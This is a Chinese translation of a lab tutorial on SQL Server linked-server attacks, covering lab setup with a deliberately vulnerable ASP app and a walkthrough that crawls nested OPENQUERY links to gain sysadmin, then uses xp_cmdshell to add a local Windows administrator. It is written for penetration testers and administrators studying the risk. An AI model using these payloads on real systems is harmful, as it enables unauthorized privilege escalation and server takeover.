第1章 链接服务器简介
1.1 简介
现代的应用程序驱动着我们的世界。
每天他们都习惯于访问银行帐户,管理医疗保健计划,并从互联网远程启动汽车。大多数人都知道存储类似于社会保障号码,信用证卡号和保健信息这些敏感数据的背后是一个数据库。
然而,大多数人没有意识到的是泄露一个数据库,通常可以用最小的代价接管各种企业环境。 其中一种方法是通过“数据库链接”。
数据库链接本质上是从一个数据库服务器到另一个数据库服务器的可信连接。
数据库链接可以“爬网”,类似于抓取网站的超链接。 通过爬行从数据库服务器到数据库服务器的链接,可以访问通常不能被用户访问的数据和系统。
在现代企业环境中,使用数据库链接抓取技术获取对数百个数据库服务器的未经授权的访问并不罕见。 这种访问通常导致敏感数据和网络的完全泄露。
可以通过直接数据库连接和SQL注入攻击来启动数据库链接抓取。 更好地了解与这种数据库配置相关的风险变得更加重要。
在本文中,我提供了创建可用于通过直接连接和各种类型的SQL注入对SQL
Server数据库链接执行攻击的实验室环境的说明。 我还提供了数据库链接的一般介绍和如何利用它们的示例。
这些内容应该有助于渗透测试人员,Web开发人员和数据库管理员尝试更好地了解与数据库服务器链接配置错误或过度使用相关的风险。
尽管本文重点介绍SQL Server,但将涵盖的许多概念可以应用于其他数据库平台。
1.2什么是数据库服务器链接?
在我们动手之前,让我们简短的了解一下数据库链接。
微软声称数据库链接可用于“使SQL Server数据库引擎能够针对SQL Server实例之外的OLE DB数据源执行命令”。
这基本上意味着我们可以在数据库级别创建预配置的“链接”,以连接和查询各种数据存储,包括但不限于:
•SQL Server
•Oracle服务器
•访问文件
•Excel文件
•文本文件
如果你不是数据库管理员,可能不明白为什么有人想要配置数据库链接。 下面我提供了一些我们遇到的常见用例。
•查询多个应用程序数据库以了解数据趋势
•结合两个数据源的信息,避免数据库平台迁移
•在SQL Server实例之间复制数据子集
•集中管理数据库服务器配置
•通常,数据库管理员使用它们来查询和更新远程异构数据来源
对于有兴趣的人,我列出了在SQL Server上列出数据库链接的两种方法。 默认情况下,您应该看到自己的服务器。 但是,数据访问将被禁用,所以我不相信你可以查询它。
sp_linkeservers
SELECTsrvnameFROMmaster..sysservers
有关更多信息,您可以访问Microsoft的Linked Server页面,网址为
http://msdn.microsoft.com/en-us/ library/ms188279.aspx。
1.3数据库服务器链接如何成为威胁?
尽管数据库链接非常有用,但它们通常配置有过高的权限,可能导致多个数据库和系统的折中。 以下是数据库链接可能出现的风险的简短列表。
过高的权限是很常见的。 大多数DBA使用静态用户名和密码来配置数据库链接,而不是配置数据库链接来继承执行查询的数据库用户的权限。 这意味着当数据库用户查询链接时,查询将使用预配置的链接权限运行,而不是数据库用户的。
•默认情况下可以使用Openquery()。
Openquery()是可用于查询链接服务器的本地SQL Server函数。
默认情况下,属于PUBLIC固定服务器角色的任何SQL登录名都可以使用它查询数据库链接。
所以与类似的openrowset()函数不同,它通常允许所有数据库用户默认查询所有预配置的数据库链接。 下面是一个基本的Openquery示例:
SELECT*FROMopenquery(Server1,'select SYSTEM_USER')
•可以嵌套数据库链接查询。
所有数据库链接查询都可以通过openquery()函数嵌套。 因此,数据库链接可以从数据库服务器到数据库服务器,类似于网页抓取。
在我们的测试期间,我们发现数据库链接抓取可能导致对我们称为“数据库链接网络”的数百个数据库服务器的未经授权的访问。
抓取数据库链接网络时我们遇到的唯一限制是openquery()函数允许的最大字符数。
基于Microsoft的文档,openquery()函数具有8000个字符的限制。 以下是通过嵌套数据库链接执行的查询的基本示例:
SELECTsrvnameFROMopenquery(Server1,'SELECT srvname FROM openquery(Server2,''SELECT srvname FROM master..sysservers'')')
•可以通过数据库链接执行存储过程。 尽管Microsoft文档声明说,可以盲目执行openquery函数来执行存储过程。 这意味着危险的程序(如xp_cmdshell)可以用于通过多个嵌套数据库链接在操作系统级别上执行任意命令。 这在数据库社区已经有一段时间的社会化,但在信息安全界没有多少讨论。
第2章 设置实验室
本章将介绍如何构建可用于测试常见数据库链接攻击的实验室环境。 总而言之,你将设置三个SQL Server实例,在它们之间创建数据库链接,并安装连接到其中一个实例的Web应用程序。 以下是实验室完成后我们应该能够执行的攻击的概述。
2.1安装三个SQL Server数据库实例
安装名为“server1”,“server2”和“server3”的三个SQL Server命名实例。 这些实例可以安装在单个或多个服务器上。 确保记住每个SQL Server实例的sa帐户密码。 你将需要它们来设置数据库帐户和链接。
安装SQL实例时,请确保设置了以下配置:
1.配置“混合模式”认证。
2.配置所有服务作为LocalSystem运行。
3.为每个实例启用TCP / IP和命名管道。
注意:如果所有实例都配置在同一台服务器上,则可能不需要。
有关更多信息,请访问以下链接:
http://msdn.microsoft.com/en-us/library/bb909712%28v=vs.90%29.aspx
SQL Server 2008下载
http://www.microsoft.com/en-us/download/details.aspx?id=1695
SQL Server 2008安装
http://blog.sqlauthority.com/2008/06/12/sql-server-2008-step-by-step-installation-guide-with-images/
2.2安装SQL Server登录
我已经提供了设置下面所需的SQL Server登录的说明。 但是,如果您需要其他帮助,请点击下面的几个链接来指导您创建数据库登录。
有关更多信息,请访问
http://msdn.microsoft.com/en-us/library/ms189751.aspx
设置SQL Server登录
1.打开SQL Server Management Studio并使用sa帐户登录到所有SQL Server实例。 通过打开三个独立的“对象探测器”,可以同时打开所有三个实例。 使用三个对象浏览器中的查询窗口在其余步骤中执行查询。
2.在server1上使用sysadmin角色创建名为“s1admin”,密码为“s1password”的数据库登录名。 注意:您可能需要禁用密码策略。
CREATELOGIN s1adminWITHPASSWORD='s1password';
GO
EXECmaster..sp_addsrvrolemember @loginame = N's1admin', @rolename = N'sysadmin'
GO
3.在server1上使用默认权限创建名为“s1user”的数据库登录名,密码为“s1password”。
CREATELOGIN s1userWITHPASSWORD='s1password';
GO
4.在server2上使用默认权限创建一个名为“s2user”的数据库登录名,密码为“s2password”。
CREATELOGIN s2userWITHPASSWORD='s2password';
GO
5.在server3上使用默认权限创建名为“s3user”的数据库登录名,密码为“s3password”。
CREATELOGIN s3userWITHPASSWORD='s3password';
GO
6.使用OSQL验证实例和登录是否正确设置。 检查实例是否响应广播请求:
sqlcmd -L
在Windows cmd.exe控制台中,使用对象资源管理器或sqlcmd检查每个实例的数据库登录名是否可以登录:
sqlcmd -U s1admin -P s1password -S .\server1 -Q"select @@version"
sqlcmd -U s1user -P s1password -S .\server1 -Q"select @@version"
sqlcmd -U s2user -P s2password -S .\server2 -Q"select @@version"
sqlcmd -U s3user -P s3password -S .\server3 -Q"select @@version"
2.3安装XP_CMDSHELL
以下是启用可以通过数据库执行本地操作系统命令的xp_cmdshell存储过程的说明。 只能在server1上启用它。
EXECsp_configure'show advanced options',1
RECONFIGURE
go
EXECsp_configure'xp_cmdshell',1
RECONFIGURE
go
2.4安装SQL Server数据库链接
以下是创建数据库的说明。 有关更多信息,可以在
http://msdn.microsoft.com/en-us/library/ms190479.aspx中找到官方Microsoft页面。 我还建议使用Microsoft SQL Server Management Studio。 它能让人生不那么艰难。
1.使用s2user数据库登录创建一个从server1到server2的数据库链接。 添加数据库链接:
USE [master]
GO
EXECmaster.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER2', @srvproduct=N'SQL Server';
GO
添加将应用于数据库链接的数据库用户:
EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHERE\server2','false',NULL,'s2user','s2password';
验证数据库链接已添加以下查询:
selectsrvnamefrommaster..sysservers;
通过向其发出查询来验证数据库链接的工作原理:
select*fromopenquery("RELATIVESERVERNAMEHERE\server2",'select @@servername')
2.使用s3user数据库登录创建一个从server2到server3的数据库链接。 添加数据库链接:
USE [master]
GO
EXECmaster.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER3', @srvproduct=N'SQL Server';
GO
添加数据库用户的数据库链接:
EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHERE\server3','false',NULL,'s3user','s3password';
验证数据库链接已添加以下查询:
select srvname from master..sysservers;
通过向其发出查询来验证数据库链接的工作原理:
select*fromopenquery("RELATIVESERVERNAMEHERE\server3",'select @@servername')
3.使用s1admin数据库登录创建一个从server3到server1的数据库链接。 添加数据库链接:
USE [master]
GO
EXECmaster.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER1',
@srvproduct=N'SQL Server';
GO
添加数据库用户的数据库链接:
EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHERE\server1','false',NULL,'s1admin','s1password';
验证数据库链接已添加以下查询:
selectsrvnamefrommaster..sysservers;
通过向其发出查询来验证数据库链接的工作原理:
select*fromopenquery("RELATIVESERVERNAMEHERE\server1",'select @@servername')
验证用户是否具有sysadmin权限。 下面的查询应该返回1:
select*fromopenquery("RELATIVESERVERNAMEHERE\server1",'select is_srvrolemember(''sysadmin'')')
4.使用任何凭据在server1,server2和server3上创建一个坏的链接到“BADSERVER”。 此链接旨在模拟不再存在的服务器的链接。
添加数据库链接:
USE [master]
GO
EXECmaster.dbo.sp_addlinkedserver
@server = N'BADSERVER',
@srvproduct=N'SQL Server';
GO
添加数据库用户的数据库链接。 凭证在这里并不重要,因为这是为了模拟到不再存在的服务器的链接。 所以'baduser'和'badpassword'可以是任何值。
EXECsp_addlinkedsrvlogin'badserver','false',NULL,'baduser','badpassword';
验证数据库链接已添加以下查询:
selectsrvnamefrommaster..sysservers;
验证访问坏链接的尝试超出预期。
select*fromopenquery("BADSERVER",'select @@version')
2.5安装易受攻击的Web应用程序
1.在Server1上从Microsoft下载并安装
AdventureWorks2008_Database.zip数据库。 它可以从
http://msftdbprodsamples.codeplex.com/releases/view/93587下载。
以下是安装步骤的概述。
a. 将
AdventureWorks2008_Database.zip解压到c:驱动器上的文件夹
b. 打开Microsoft SQL Server Management Studio并连接到server1实例
c. 右键单击数据库节点
d. 选择附加...
e. 从解压到的路径中选择AdventureWorks2008数据库文件
f. 使数据库登录s1user为AdventureWorks的数据库所有者。
USE AdventureWorks2008;
EXEC sp_changedbowner's1user';
有关更多信息,请访问
http://msdn.microsoft.com/en-us/library/ms178630(v=sql.90).aspx。
2.安装IIS服务器并启用对asp页面的支持。
a. 在Windows上安装IIS:
http://www.howtogeek.com/howto/windows-vista/how-to-install-iis-on-windows-vista/
b. 启用ASP页面的使用:
http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis-
7-and-iis-8 / classic-asp-not-installed-by-default-on-IIS
3.从GitHub下载并安装易受攻击的ASP页面到C:\ Inetpub \ wwwroot。 链接到易受攻击的页面下载列表如下。
•employee.asp
https://raw2.github.com/nullbind/Metasploit-Modules/master/employee.asp
•search.asp
https://raw2.github.com/nullbind/Metasploit-Modules/master/search.asp
4.编辑empolyee.asp和search.asp页面。 将db_server变量更改为您为server1安装的服务器名称和实例。 它应该看起来像下面的例子。
db_server = "mytestserver\server1”
5.启用详细错误消息。 根据您的版本IIS详细错误可能会启用,但是如果他们不是下面的链接应该能够给你一些指导。
•http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis-7-and-
iis-8/classic-asp-script-error-messages-no-longer-shown-in-web-browser-by-default
•http://blogs.msdn.com/b/rakkimk/archive/2007/05/25/iis7-how-to-enable-the-detailed-error-
messages-for-the-website-while-browsed-from-for-the-client-browsers.aspx
第3章通过直接数据库连接手动攻击
在本章中,您将使用SQL
Server Management
Studio连接到SERVER1,通过链接爬网将权限升级到sysadmin,并通过xp_cmdshell存储过程在OS级别接管服务器。
在下面的示例中,10.2.9.183中已经安装了所有SQL Server实例。
这是在发现没有sysadmin访问权限的登录后,在内部渗透测试中可能会发现的一个很好的例子。
3.1以用户身份登录Server1
SQL Server Management Studio Express可以作为SQL Server安装的一部分或单独安装。 安装完成后,使用它连接到SERVER1实例,如下所示。 但是,请注意,您的IP地址可能不同。
单击“新建查询”按钮,并键入以下查询以确定s1user是否为系统管理员。
SELECTis_srvrolemember('sysadmin')
结果应该类似于下面的截图。
“0”告诉我们,s1user没有sysadmin权限,所以让我们使用下面的查询找到一些爬网链接。
SELECTsrvnamefrommaster..sysservers
结果应该类似于下面的屏幕截图。
它应该显示三个链接的服务器。 “BADSERVER”是一个死链接,“WIN-ODG2LLLUIPN”没有数据访问。 所以我们来关注“.\SERVER2”的链接。
3.2作为用户从服务器1爬到服务器2
使用下面的查询检查“.\SERVER2”这个链接配置是什么权限。
-- Checking privileges on first link
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT is_srvrolemember(''sysadmin'')’)
结果应该像下面的屏幕截图。
又一次,我们没有sysadmin权限,所以让我们来看看SERVER2上的数据库链接。 使用下面的查询列出SERVER2上的链接服务器。
-- Get list of linked servers on SERVER2
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT srvname FROM master..sysservers')
结果应该像下面的屏幕截图。
与SERVER1类似,您应该看到三个链接。 我们专注于链接到“。\ SERVER3”
3.3作为用户从服务器2爬到服务器3
使用下面的查询检查“.\SERVER3”的链接配置是什么权限。
-- Check privileges on link to SERVER3
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT is_srvrolemember(''''sysadmin'''')'')')
结果应该像下面的屏幕截图。
再次,我们没有sysadmin权限,所以让我们来看看SERVER3上的数据库链接,接下来使用下面的查询。
-- Verify access to SERVER1 from SERVER3
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT @@Servername'''')'')')
看起来我们有一个链接到SERVER1。 让我们看看我们可以从中得到什么
3.4从Sysadmin从Server 3爬到Server1
让我们使用下面的查询检查链接到SERVER1的权限。
-- Get privileges on link to SERVER1 from SERVER3
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT is_srvrolemember(''''''''sysadmin'''''''')'''')'')')
结果应该像下面的屏幕截图。
最后,它返回了“1”! 您现在可以使用sysadmin访问SERVER1。
3.5通过服务器3链接将OS管理员添加到服务器1
现在我们有sysadmin访问SERVER1,我们可以向操作系统添加本地管理员。 我们先从使用下面的查询添加一个用户开始。
注意:只要返回一个值,可以通过链接的OPENQUERY执行任何存储过程。 这就是为什么在调用xp_cmdshell之前使用“SELECT 1”。
-- Get privileges on link to SERVER1 from SERVER3
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT 1;EXEC master..xp_cmdshell ''''''''net user netspi $TestPass12!
/add'''''''''''')'')')
结果应该像下面的屏幕截图。
不幸的是,xp_cmdshell存储过程在通过OPENQUERY使用时不会显示输出,因为我们需要使用“SELECT 1”。 所以如果查询失败,返回“1”。 无论哪种方式,新操作系统用户都可以使用下面的查询添加到“管理员”组。
-- Get privileges on link to SERVER1 from SERVER3
SELECT*FROMOPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT 1;EXEC master..xp_cmdshell ''''''''net localgroup administrators /add
netspi'''''''''''')'')')
再次返回1,如下面的截图所示。
如果一切正常,您现在应该可以通过远程桌面使用新帐户登录服务器。
本文由 看雪翻译小组 Daemond 编译,来源 netspi